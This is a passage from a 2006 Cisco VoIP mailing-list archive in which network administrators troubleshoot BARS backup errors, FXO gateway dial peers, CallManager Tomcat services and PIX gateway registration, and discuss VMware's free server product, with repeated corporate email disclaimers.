the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

_______________________________________________

cisco-voip mailing list

cisco-voip at puck.nether.net

https://puck.nether.net/mailman/listinfo/cisco-voip

 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

 

***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
replying to or any action taken or omitted to be taken in reliance on this
e-mail, is prohibited and may be unlawful. Please contact the sender immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that there
may be a delay in processing the instructions received from e-mails after
Charles Stanley has received them. You are advised that urgent, time sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by McAfee
VirusScan and SurfControl Email Filter software.
-------------- next part --------------
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From Scott.Voll at wesd.org  Fri Feb  3 11:02:13 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb  3 11:02:22 2006
Subject: [cisco-voip] BARS Error
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1276@VISHNU.wesd.org>

14.7gigs on the C drive and 1.95 gigs on the D drive.  The tar ball is
only 600mb.

 

Scott

 

________________________________

From: King, Jesse [mailto:JKing at thegranitegroup.com] 
Sent: Friday, February 03, 2006 7:46 AM
To: Voll, Scott; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error

 

What is your available space on the backup server at on the c and d
drives?

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Friday, February 03, 2006 10:43 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] BARS Error

I was getting this issue in 4.0.8 and upgraded to 4.0.9 and    
still have the issue.  The error is as follows:
 
07:22:08 AM] Archive file size is less than staging directory. Check if
disk    
space is available on storage location.  
[07:22:08 AM] Could not build archive successfully.  

 

How do I fix that?

 

Scott

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From JKing at thegranitegroup.com  Fri Feb  3 11:04:10 2006
From: JKing at thegranitegroup.com (King, Jesse)
Date: Fri Feb  3 11:04:19 2006
Subject: [cisco-voip] BARS Error
Message-ID: <80FDD0062521CE4084591182C4DDB6BE01108766@papaya.thegranitegroup.com>

huh. thats strange. Maybe there are too many files in the staging
directory or something similar?
 
And a very small tar.. Wondering what other tar sizes are....
 
How many endpoint do you have? Phones? Mine is a 2gb tar file! 350
endpoints.. lots of gateways (20)...

________________________________

From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Friday, February 03, 2006 11:02 AM
To: King, Jesse; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error



14.7gigs on the C drive and 1.95 gigs on the D drive.  The tar ball is
only 600mb.

 

Scott

 

________________________________

From: King, Jesse [mailto:JKing at thegranitegroup.com] 
Sent: Friday, February 03, 2006 7:46 AM
To: Voll, Scott; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error

 

What is your available space on the backup server at on the c and d
drives?

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Friday, February 03, 2006 10:43 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] BARS Error

I was getting this issue in 4.0.8 and upgraded to 4.0.9 and    
still have the issue.  The error is as follows:
 
07:22:08 AM] Archive file size is less than staging directory. Check if
disk    
space is available on storage location.  
[07:22:08 AM] Could not build archive successfully.  

 

How do I fix that?

 

Scott

-------------- next part --------------
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From Scott.Voll at wesd.org  Fri Feb  3 11:11:33 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb  3 11:11:59 2006
Subject: [cisco-voip] BARS Error
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1278@VISHNU.wesd.org>

~300 phone multiple gws and IPCCx also.  We are integrated with AD so we
don't backup DC directory.

 

Scott

 

PS.  Anyway to specify the staging drive?

 

________________________________

From: King, Jesse [mailto:JKing at thegranitegroup.com] 
Sent: Friday, February 03, 2006 8:04 AM
To: Voll, Scott; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error

 

huh. thats strange. Maybe there are too many files in the staging
directory or something similar?

 

And a very small tar.. Wondering what other tar sizes are....

 

How many endpoint do you have? Phones? Mine is a 2gb tar file! 350
endpoints.. lots of gateways (20)...

 

________________________________

From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Friday, February 03, 2006 11:02 AM
To: King, Jesse; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error

14.7gigs on the C drive and 1.95 gigs on the D drive.  The tar ball is
only 600mb.

 

Scott

 

________________________________

From: King, Jesse [mailto:JKing at thegranitegroup.com] 
Sent: Friday, February 03, 2006 7:46 AM
To: Voll, Scott; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error

 

What is your available space on the backup server at on the c and d
drives?

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Friday, February 03, 2006 10:43 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] BARS Error

I was getting this issue in 4.0.8 and upgraded to 4.0.9 and    
still have the issue.  The error is as follows:
 
07:22:08 AM] Archive file size is less than staging directory. Check if
disk    
space is available on storage location.  
[07:22:08 AM] Could not build archive successfully.  

 

How do I fix that?

 

Scott

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From JKing at thegranitegroup.com  Fri Feb  3 11:17:54 2006
From: JKing at thegranitegroup.com (King, Jesse)
Date: Fri Feb  3 11:18:04 2006
Subject: [cisco-voip] BARS Error
Message-ID: <80FDD0062521CE4084591182C4DDB6BE01108767@papaya.thegranitegroup.com>

I don't see where you could specify it. 
 
We are AD integrated too.. I'm backing up CDR data too, that may add to
it...
 
I've looked here for your message and mine... But don't see that exact
one...
 
http://www.cisco.com/univercd/cc/td/doc/product/voice/backup/bars40/bars
a409/index.htm
 
 

________________________________

From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Friday, February 03, 2006 11:12 AM
To: King, Jesse; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error



~300 phone multiple gws and IPCCx also.  We are integrated with AD so we
don't backup DC directory.

 

Scott

 

PS.  Anyway to specify the staging drive?

 

________________________________

From: King, Jesse [mailto:JKing at thegranitegroup.com] 
Sent: Friday, February 03, 2006 8:04 AM
To: Voll, Scott; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error

 

huh. thats strange. Maybe there are too many files in the staging
directory or something similar?

 

And a very small tar.. Wondering what other tar sizes are....

 

How many endpoint do you have? Phones? Mine is a 2gb tar file! 350
endpoints.. lots of gateways (20)...

 

________________________________

From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Friday, February 03, 2006 11:02 AM
To: King, Jesse; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error

14.7gigs on the C drive and 1.95 gigs on the D drive.  The tar ball is
only 600mb.

 

Scott

 

________________________________

From: King, Jesse [mailto:JKing at thegranitegroup.com] 
Sent: Friday, February 03, 2006 7:46 AM
To: Voll, Scott; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] BARS Error

 

What is your available space on the backup server at on the c and d
drives?

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Friday, February 03, 2006 10:43 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] BARS Error

I was getting this issue in 4.0.8 and upgraded to 4.0.9 and    
still have the issue.  The error is as follows:
 
07:22:08 AM] Archive file size is less than staging directory. Check if
disk    
space is available on storage location.  
[07:22:08 AM] Could not build archive successfully.  

 

How do I fix that?

 

Scott

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From jonvoip at gmail.com  Fri Feb  3 12:14:57 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Fri Feb  3 12:15:01 2006
Subject: [cisco-voip] IPCC 3.5(2) with Nuance TTS - Historical Reporting
	Problem
Message-ID: <5d093f9a0602030914m1e19d923kabeabab821072fc@mail.gmail.com>

Calls show up in the real-time report, but only half of them show up in the
historical reporting. Cust does not have SP1 installed (when we tried to
install SP1, the RASCAL server stopped working).

Cust had a time/date problem (incorrect on the server), but has not
restarted the engine since correcting, having user restart the engine to see
if that corrects the problem.

Any ideas if it doesn't?



Jonathan
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From jgrace at digitelusa.net  Fri Feb  3 12:46:26 2006
From: jgrace at digitelusa.net (James Grace)
Date: Fri Feb  3 12:52:54 2006
Subject: [cisco-voip] service control manager error 
Message-ID: <200602031252296.SM01568@3729434770>

We are having a big ongoing issue with our cm 4.1.3.sr1   and ipcc express
running on the same cm 

 

For some reason my tomcat service will not start nor do the call dispatch
service starts

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From lelio at uoguelph.ca  Fri Feb  3 12:56:50 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Fri Feb  3 12:56:53 2006
Subject: [cisco-voip] CNEWS: VMware to make server product free
Message-ID: <001301c628eb$35904230$30196883@cfs.uoguelph.ca>

ok, now just if i could find those callmanager registry hacks.... ;)



http://news.com.com/VMware+to+make+server+product+free/2100-1012_3-6034615.html?tag=nefd.top

VMware, an EMC subsidiary whose software lets multiple operating systems run on the same computer, is expected to announce next week that it will begin giving away one of its key products for free, CNET News.com has learned. 

The company sells three core products, VMware Workstation, GSX Server and ESX Server, but competition is on the horizon in a market VMware once had to itself. On Monday, however, the company is expected to announce it will give away GSX for free, sources familiar with the plan said. 

GSX runs on a "host" Windows or Linux operating system and then lets "guest" operating systems run atop it in compartments called virtual machines. The higher-end ESX product, in contrast, needs no host and runs below the operating system layer. 

VMware may gain two advantages from the move. First, because virtual machines can be moved from GSX to ESX, customers who try the former may choose to upgrade to the latter. Second, giving the software away for free could make VMware's technology more popular and cement the company's lead over emerging rivals. 

Today, GSX costs $1,400 for dual-processor servers and $2,800 for more powerful machines. ESX, while more expensive, permits more sophisticated features such as VMotion, which lets one running operating system be moved from one server to another while it's still running. 

VMware didn't immediately respond to requests for comment. 

VMware is an established power in the realm of virtualization, a technology that permits computing equipment to be more flexible and run more tasks efficiently. Its software lets different operating systems run in virtual machines; each virtual machine appears to be an entirely separate computer, but in fact each shares the same hardware with others. 

Such technology has been available on high-end computers for years, but VMware brought it to the realm of mainstream computers using x86 processors such as Intel's Pentium and Advanced Micro Devices' Opteron. The move is timely: Virtual machines let more work be done on a single server, an efficiency move that helps ameliorate the computer industry's growing electrical power problem. 

Now, though, VMware faces new challengers, most of them immature but also already available for free. 

First in line is the open-source Xen effort that will become part of the two major commercial versions of Linux: Red Hat Enterprise Linux and Novell's Suse Linux Enterprise Server. In addition, Microsoft is working on similar software it plans to add to its next server operating system, called "Longhorn Server." Others such as Virtual Iron and SWsoft's Virtuozzo have technology that overlaps. 

Most of these virtualization software projects are getting a boost from new processor features. Intel Virtualization Technology--code-named Vanderpool and now emerging in server processors--accelerates some operations and makes it possible to run Windows on Xen without modifications to Windows that otherwise would be necessary. 

AMD's rival technology, code-named Pacifica, is scheduled to arrive later this year in the company's "Rev F" Opteron models. 

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
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From rratliff at cisco.com  Fri Feb  3 14:50:20 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Fri Feb  3 14:50:17 2006
Subject: [cisco-voip] Problem with inbound calls on 4 port FXO Card
In-Reply-To: <FDEEDC07A7DA6E41BCB819487E7C85AE6D695A@CSEXCH01.charles-stanley.co.uk>
References: <FDEEDC07A7DA6E41BCB819487E7C85AE6D695A@CSEXCH01.charles-stanley.co.uk>
Message-ID: <335F1105-0CDD-4AAE-BADC-408449E30EF9@cisco.com>

Config looks ok to me.

Whatever the device at 172.30.0.X is needs to have some way to route  
86820.

In CM this could be a directory number on a phone, translation  
pattern, etc.

-Ryan

On Feb 3, 2006, at 9:10 AM, James Dust wrote:

We have a problem with inbound calls on an 4 port FXO card in a H323  
gateway for one of our remote sites, when dialing inbound to the  
branch a caller will hear a ring twice and then the line will appear  
to answer but gets no further.

The branch has two analogue lines for inbound and outbound calls.

The debug from the router shows that the dial peer is being matched.

Here is the voice port configuration and dial peers.

voice-port 1/0
  output attenuation -4
  cptone GB
  connection plar 86820
  description Wimborne Main Line
!
voice-port 1/1
!
voice-port 1/2
!
voice-port 1/3
!
no mgcp package-capability res-package
no mgcp package-capability fxr-package
no mgcp timer receive-rtcp
!
!
!
!
dial-peer voice 1 voip
  preference 1
  destination-pattern 86820
  progress_ind setup enable 3
  session target ipv4:172.30.0.X
  dtmf-relay h245-alphanumeric
  no vad
!
dial-peer voice 20 pots
  preference 9
  destination-pattern 9.T
  port 1/0

The three phones in the branch all share the DN 86820

Does anyone else have a similar setup, if so what configuartion  
should I have on call manager?

James



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_______________________________________________
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From rratliff at cisco.com  Fri Feb  3 14:53:23 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Fri Feb  3 14:53:17 2006
Subject: [cisco-voip] Registration to CCM thru PIX
In-Reply-To: <43E27F3B.30301@gmail.com>
References: <43E27F3B.30301@gmail.com>
Message-ID: <1FDD285C-0399-44AD-A66F-26B7F379C25B@cisco.com>

Do you want to use MGCP or H.323?  Take a look at http:// 
www.cisco.com/en/US/products/hw/vpndevc/ps2030/ 
products_configuration_example09186a00801fc74a.shtml.

-Ryan

On Feb 2, 2006, at 4:52 PM, Danny Halle wrote:

Hi all,

I'm looking for any advice/docs on how to register a 1760 GW in a
private subnet (10.0.1.0/24 connected to a public router) to a CCM in a
different private subnet (10.25.0.0/24) thru a PIX.
The network looks like this:

1760GW(10.0.1.x) ---> 3640ROUTER(10.0.1.1 and 99.99.99.1) -->
PIX(99.99.99.2 and 10.25.0.1) --> CCM(10.25.0.x)

Thanks and regards, Danny
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From dannyhalle at gmail.com  Fri Feb  3 15:19:30 2006
From: dannyhalle at gmail.com (Danny Halle)
Date: Fri Feb  3 15:19:38 2006
Subject: [cisco-voip] Registration to CCM thru PIX
In-Reply-To: <1FDD285C-0399-44AD-A66F-26B7F379C25B@cisco.com>
References: <43E27F3B.30301@gmail.com>
	<1FDD285C-0399-44AD-A66F-26B7F379C25B@cisco.com>
Message-ID: <43E3BAD2.4090202@gmail.com>

Thanks for the answer...
I'm trying to use MGCP...

Regards, Danny



Ryan Ratliff wrote:

> Do you want to use MGCP or H.323?  Take a look at http:// 
> www.cisco.com/en/US/products/hw/vpndevc/ps2030/ 
> products_configuration_example09186a00801fc74a.shtml.
>
> -Ryan
>
> On Feb 2, 2006, at 4:52 PM, Danny Halle wrote:
>
> Hi all,
>
> I'm looking for any advice/docs on how to register a 1760 GW in a
> private subnet (10.0.1.0/24 connected to a public router) to a CCM in a
> different private subnet (10.25.0.0/24) thru a PIX.
> The network looks like this:
>
> 1760GW(10.0.1.x) ---> 3640ROUTER(10.0.1.1 and 99.99.99.1) -->
> PIX(99.99.99.2 and 10.25.0.1) --> CCM(10.25.0.x)
>
> Thanks and regards, Danny
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>


From Joe_Bell at adp.com  Fri Feb  3 13:35:16 2006
From: Joe_Bell at adp.com (Bell, Joe)
Date: Fri Feb  3 22:12:35 2006
Subject: [cisco-voip] CNEWS: VMware to make server product free
Message-ID: <472D0CBC7B31C1499B77C1DAA3308B3B53C6AA@EXCHANGEDS01.ds.ad.adp.com>

I followed this sites procedure about two months ago and so far this has
worked great.  

 

http://www.knuckledragger.net/Network/ccm4vmware.htm

 

I also loaded this image co-res with no problems.

 

Joe

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
Sent: Friday, February 03, 2006 9:57 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] CNEWS: VMware to make server product free

 

ok, now just if i could find those callmanager registry hacks.... ;)

 

 

http://news.com.com/VMware+to+make+server+product+free/2100-1012_3-60346
15.html?tag=nefd.top

 

VMware, an EMC subsidiary whose software lets multiple operating systems
run on the same computer, is expected to announce next week that it will
begin giving away one of its key products for free, CNET News.com has
learned. 

The company sells three core products, VMware Workstation
<http://news.com.com/VMware+releases+Workstation+5.5/2110-1006_3-5977151
.html?tag=nl> , GSX Server and ESX Server, but competition is on the
horizon in a market VMware once had to itself. On Monday, however, the
company is expected to announce it will give away GSX for free, sources
familiar with the plan said. 

GSX runs on a "host" Windows or Linux operating system and then lets
"guest" operating systems run atop it in compartments called virtual
machines. The higher-end ESX product, in contrast, needs no host and
runs below the operating system layer. 

VMware may gain two advantages from the move. First, because virtual
machines can be moved from GSX to ESX, customers who try the former may
choose to upgrade to the latter. Second, giving the software away for
free could make VMware's technology more popular and cement the
company's lead over emerging rivals. 

Today, GSX costs $1,400 for dual-processor servers and $2,800 for more
powerful machines. ESX, while more expensive, permits more sophisticated
features such as VMotion, which lets one running operating system be
moved from one server to another while it's still running. 

VMware didn't immediately respond to requests for comment. 

VMware is an established power in the realm of virtualization, a
technology that permits computing equipment to be more flexible and run
more tasks efficiently. Its software lets different operating systems
run in virtual machines; each virtual machine appears to be an entirely
separate computer, but in fact each shares the same hardware with
others. 

Such technology has been available on high-end computers for years, but
VMware brought it to the realm of mainstream computers using x86
processors such as Intel's Pentium and Advanced Micro Devices' Opteron.
The move is timely: Virtual machines let more work be done on a single
server, an efficiency move that helps ameliorate the computer industry's
growing electrical power problem
<http://news.com.com/Electric+slide+for+tech+industry/2100-1010_3-603359
8.html?tag=nl> . 

Now, though, VMware faces new challengers, most of them immature but
also already available for free. 

First in line is the open-source Xen effort
<http://news.com.com/Xen+lures+big-name+endorsements/2100-7344_3-5581484
.html?tag=nl>  that will become part of the two major commercial
versions of Linux: Red Hat Enterprise Linux
<http://news.com.com/Red+Hat+updates+premium+Linux/2100-7344_3-5576507.h
tml?tag=nl>  and Novell's Suse Linux Enterprise Server
<http://news.com.com/Novell+launches+new+Linux--with+JBoss+Java/2100-734
4_3-5295548.html?tag=nl> . In addition, Microsoft is working on similar
software it plans to add to its next server operating system, called
"Longhorn Server." Others such as Virtual Iron and SWsoft's Virtuozzo
<http://news.com.com/Companies+push+Linux+partitioning+effort/2100-1016_
3-6027219.html?tag=nl>  have technology that overlaps. 

Most of these virtualization software projects are getting a boost from
new processor features. Intel Virtualization Technology--code-named
Vanderpool and now emerging in server processors--accelerates some
operations and makes it possible to run Windows on Xen without
modifications to Windows that otherwise would be necessary. 

AMD's rival technology, code-named Pacifica, is scheduled to arrive
later this year in the company's "Rev F" Opteron models. 

------------------------------------------------------------------------
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter
than an
IP phone on a long haul 10base2 connection"
LFJ



This message and any attachments are intended only for the use of the addressee and may contain information that is privileged and confidential. If the reader of the message is not the intended recipient or an authorized representative of the intended recipient, you are hereby notified that any dissemination of this communication is strictly prohibited. If you have received this communication in error, please notify us immediately by e-mail and delete the message and any attachments from your system.
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From timfrazee at gmail.com  Mon Feb  6 01:01:49 2006
From: timfrazee at gmail.com (timfrazee@gmail.com)
Date: Mon Feb  6 01:01:53 2006
Subject: [cisco-voip] Postage machine
Message-ID: <43e6e64d.1bfa066e.0daf.5dd2@mx.gmail.com>


don't forget that it might need to be configured to dial your "9" or whatever.



-----Original Message-----

From:  "Carter, Bill" <bcarter at sentinel.com>
Subj:  RE: [cisco-voip] Postage machine
Date:  Thu Feb 2, 2006 5.11 pm
Size:  1K
To:  "Israel Lang" <zephy316 at gmail.com>, <cisco-voip at puck.nether.net>

     Not a postage machine, but I have gotten a time clock to work on a FXS  port. These types of devices should be thought of as modems, and ATAs  don't support modems.

    From: cisco-voip-bounces at puck.nether.net  [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Israel  Lang
Sent: Thursday, February 02, 2006 4:18 PM
To:  cisco-voip at puck.nether.net
Subject: [cisco-voip] Postage  machine


 
Anyone ever have the opportunity to get a postage machine working  through a FXS port or ATA? If so any "magic" that you can share with  me?

Thanks.
-- 
Have a great  day!!!!!!!!!!
zephy316_gmail.com 

Replace the _ with an @ symbol    


From ciscozest at gmail.com  Mon Feb  6 05:27:53 2006
From: ciscozest at gmail.com (Robin H)
Date: Mon Feb  6 05:27:56 2006
Subject: [cisco-voip] VG224 with modem connection
Message-ID: <f99cc3f60602060227m3f990ec9y4e01cda1d99484d3@mail.gmail.com>

I need to access my user's PC for troubleshooting remotely. Can I use
a dial-up modem connected to my VG224 to achieve this purpose?
The setup will be:
PSTN -- Cisco3825 -- LAN -- VG224 -- dial-up modem (V.90) --  PC1.

I have searched cisco.com but still not sure if using
modem-passthrough can work. Also couldn;t find reference for the
maximum speed it can support. Anyone can help to comment or give a
link information? Thank you

regards,
Robin


From Nick.Kassel at Charles-Stanley.co.uk  Mon Feb  6 10:40:34 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Mon Feb  6 10:40:46 2006
Subject: [cisco-voip] Problem with inbound calls on 4 port FXO Card
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC6481DD@CSEXCH01.charles-stanley.co.uk>

We now have this working but are getting disconnect issues, initially if
I called inbound to the fxo port then hung up before the call was
answered it would carry on ringing, this has been resolved by adding the
'supervisory disconnect anytone' command to the voice port. The issue I
have now is if the fxo port calls outbound and the recipient hangs the
call up before the fxo port then the phone will not disconnect and sit
in the oh hook status until I press the end call button. Can any one
help with this one?



-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ryan Ratliff
Sent: Friday, February 03, 2006 7:50 PM
To: James Dust
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Problem with inbound calls on 4 port FXO Card

Config looks ok to me.

Whatever the device at 172.30.0.X is needs to have some way to route  
86820.

In CM this could be a directory number on a phone, translation  
pattern, etc.

-Ryan

On Feb 3, 2006, at 9:10 AM, James Dust wrote:

We have a problem with inbound calls on an 4 port FXO card in a H323  
gateway for one of our remote sites, when dialing inbound to the  
branch a caller will hear a ring twice and then the line will appear  
to answer but gets no further.

The branch has two analogue lines for inbound and outbound calls.

The debug from the router shows that the dial peer is being matched.

Here is the voice port configuration and dial peers.

voice-port 1/0
  output attenuation -4
  cptone GB
  connection plar 86820
  description Wimborne Main Line
!
voice-port 1/1
!
voice-port 1/2
!
voice-port 1/3
!
no mgcp package-capability res-package
no mgcp package-capability fxr-package
no mgcp timer receive-rtcp
!
!
!
!
dial-peer voice 1 voip
  preference 1
  destination-pattern 86820
  progress_ind setup enable 3
  session target ipv4:172.30.0.X
  dtmf-relay h245-alphanumeric
  no vad
!
dial-peer voice 20 pots
  preference 9
  destination-pattern 9.T
  port 1/0

The three phones in the branch all share the DN 86820

Does anyone else have a similar setup, if so what configuartion  
should I have on call manager?

James



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_______________________________________________
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The information contained in this e-mail is strictly confidential, some or all
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Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
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This footnote also confirms that this email message has been swept by McAfee
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From jgrace at digitelusa.net  Mon Feb  6 10:45:14 2006
From: jgrace at digitelusa.net (James Grace)
Date: Mon Feb  6 10:45:57 2006
Subject: [cisco-voip] (no subject)
Message-ID: <200602061045.AA3735956@mail.digitelusa.net>

i keep getting this error in the event logs 

SS3017 Max simultaneous calls = 0, total_calls = 0, stores = 0, retrieves = 0, start time = 08:32:24 02/06/06, current time = 09:32:24 02/06/06


and we are having issue where sometimes we are not able to dial out to the pstn, but when this happens we are able to get incomming call fine 

just trying to see if this message has something to do with it 
---



From jgrace at digitelusa.net  Mon Feb  6 10:58:53 2006
From: jgrace at digitelusa.net (James Grace)
Date: Mon Feb  6 10:59:35 2006
Subject: [cisco-voip] cisco tomcat services 
Message-ID: <200602061058.AA7733650@mail.digitelusa.net>


for some reason we have a ccm pub that will not start the Cisco tomcat service and the tcd service.  tac have looked over this server for a few hours and we can?t get it working. Previously I down graded the java to allow the cra real-time reports to work. But now it?s back to the original version. My sub don?t have this issue.  They said I need to reinstall the cm pub.  Im looking for other options.  Other than this issues the system is up and running

---




From Eric.A.Fretz at L-3com.com  Mon Feb  6 11:02:38 2006
From: Eric.A.Fretz at L-3com.com (Fretz, EA Eric @ IS)
Date: Mon Feb  6 11:03:08 2006
Subject: [cisco-voip] cisco tomcat services 
Message-ID: <51A2C3ED40A3584281444F65BC9026270A88461A@gvlexch02.gvl.is.l-3com.com>

You might look into running some of the Java debugging in the Java
console...see if that gives any clues.

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Monday, February 06, 2006 9:59 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] cisco tomcat services 



for some reason we have a ccm pub that will not start the Cisco tomcat
service and the tcd service.  tac have looked over this server for a few
hours and we can't get it working. Previously I down graded the java to
allow the cra real-time reports to work. But now it's back to the original
version. My sub don't have this issue.  They said I need to reinstall the cm
pub.  Im looking for other options.  Other than this issues the system is up
and running

---



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From mfa at crec.ifas.ufl.edu  Mon Feb  6 11:10:17 2006
From: mfa at crec.ifas.ufl.edu (Mike Armstrong)
Date: Mon Feb  6 11:10:20 2006
Subject: [cisco-voip] PSTN connection terminated before error message
References: <200601252104.k0PL3tgY084022@puck.nether.net>
Message-ID: <016201c62b37$d1fc8220$400cfb0a@crec.ifas.ufl.edu>

I tried everyone's suggestions for 3640 configuration changes, but they had 
no effect.  The q.931 debug showed Verizon issued a Release Complete about 
60ms after our Setup message, so it was pretty obvious Verizon wasn't 
